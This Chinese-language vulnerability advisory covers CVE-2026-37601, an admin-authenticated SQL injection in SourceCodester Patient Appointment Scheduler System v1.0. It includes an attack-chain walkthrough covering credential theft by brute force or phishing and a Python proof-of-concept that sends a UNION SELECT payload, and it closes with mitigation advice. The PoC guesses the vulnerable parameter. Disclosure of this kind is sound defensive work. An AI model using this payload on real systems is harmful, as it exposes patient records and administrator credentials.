IPBUF安全漏洞报告
English
CVE-2026-37601 CVSS 2.7 低危

CVE-2026-37601 预约系统SQL注入漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-37601
漏洞类型
SQL注入
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Patient Appointment Scheduler System

相关标签

SQL注入CVE-2026-37601SourceCodesterWeb安全预约系统

漏洞概述

SourceCodester Patient Appointment Scheduler System v1.0 版本在 `/scheduler/admin/appointments/manage_appointment.php` 文件中发现存在 SQL 注入漏洞。该漏洞源于应用程序未能充分过滤用户提供的输入数据,导致攻击者可以通过构造恶意的 SQL 语句来操纵后端数据库查询。尽管利用该漏洞需要具备高权限(管理员账户),但一旦被成功利用,攻击者可绕过安全机制,从数据库中读取敏感信息,造成信息泄露风险。

技术细节

该漏洞主要存在于 SourceCodester Patient Appointment Scheduler System 的后端管理模块中。具体而言,在处理 `/scheduler/admin/appointments/manage_appointment.php` 的请求时,开发人员未对传入的参数进行严格的类型校验和安全过滤,直接将其嵌入到动态 SQL 查询语句中执行。攻击者利用此漏洞需要先获取系统的高权限账户(如管理员账号),这是由于 CVSS 向量中 PR:H(高权限)的要求。在获得认证后,攻击者可以通过发送特制的 HTTP GET 或 POST 请求,在参数中注入 SQL 控制字符(如单引号、注释符)以及联合查询语句(UNION SELECT)。这种注入方式使得攻击者能够篡改原始查询逻辑,从而非法读取数据库中的敏感信息,例如管理员凭证、患者隐私数据等。尽管攻击需要高权限,但其技术实现难度较低(AC:L),且无需用户交互(UI:N)。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标网络,识别出运行 SourceCodester Patient Appointment Scheduler System v1.0 的服务器,并确认其暴露在公网或内网中。
STEP 2
2. 获取高权限凭证
由于漏洞需要高权限(PR:H),攻击者通过暴力破解、钓鱼攻击或利用其他漏洞获取管理员账号和密码,成功登录后台管理系统。
STEP 3
3. 漏洞利用
攻击者使用 Burp Suite 或类似工具拦截对 `/scheduler/admin/appointments/manage_appointment.php` 的请求,识别出未经过滤的参数(如 ID),并注入 SQL Payload(如 `UNION SELECT`)。
STEP 4
4. 数据提取
后端数据库执行恶意 SQL 语句,将查询结果(如用户表、密码哈希等)返回给攻击者,攻击者解析响应内容获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: SourceCodester Patient Appointment Scheduler System v1.0 - SQL Injection # Date: 2026-04-14 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14976/patient-appointment-scheduler-system-using-phpmysql-source-code.html # Version: v1.0 # Tested on: Ubuntu/Apache def exploit_sqli(target_url, session_cookie): """ Exploits SQL Injection in manage_appointment.php. Requires High Privileges (Admin). """ # The vulnerable endpoint endpoint = "/scheduler/admin/appointments/manage_appointment.php" # Example payload to extract MySQL version # Assuming the vulnerable parameter is 'id' (common in listing pages) # Adjust parameter name based on actual request interception payload = { "id": "1 UNION SELECT 1,2,version(),4,5,6,7,8-- -" } # Headers to simulate a browser headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Cookies for authentication (PR:H requirement) cookies = { "PHPSESSID": session_cookie } try: response = requests.get(target_url + endpoint, params=payload, headers=headers, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response Content:") print(response.text) # Analyze response to confirm data extraction if "mysql" in response.text.lower() or response.text.startswith("5.") or response.text.startswith("8."): print("[!] SQL Injection successful. Database version detected.") else: print("[-] Injection may have failed or output not visible in HTML.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and admin session ID target = "http://localhost" admin_session = "your_admin_session_id_here" exploit_sqli(target, admin_session)

影响范围

SourceCodester Patient Appointment Scheduler System v1.0

防御指南

临时缓解措施
建议立即升级至修复版本或联系开发商获取补丁。在无法立即升级的情况下,应严格限制对 `/scheduler/admin/appointments/manage_appointment.php` 的访问权限,仅允许可信的内网 IP 访问,并加强对管理员账户的安全防护,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表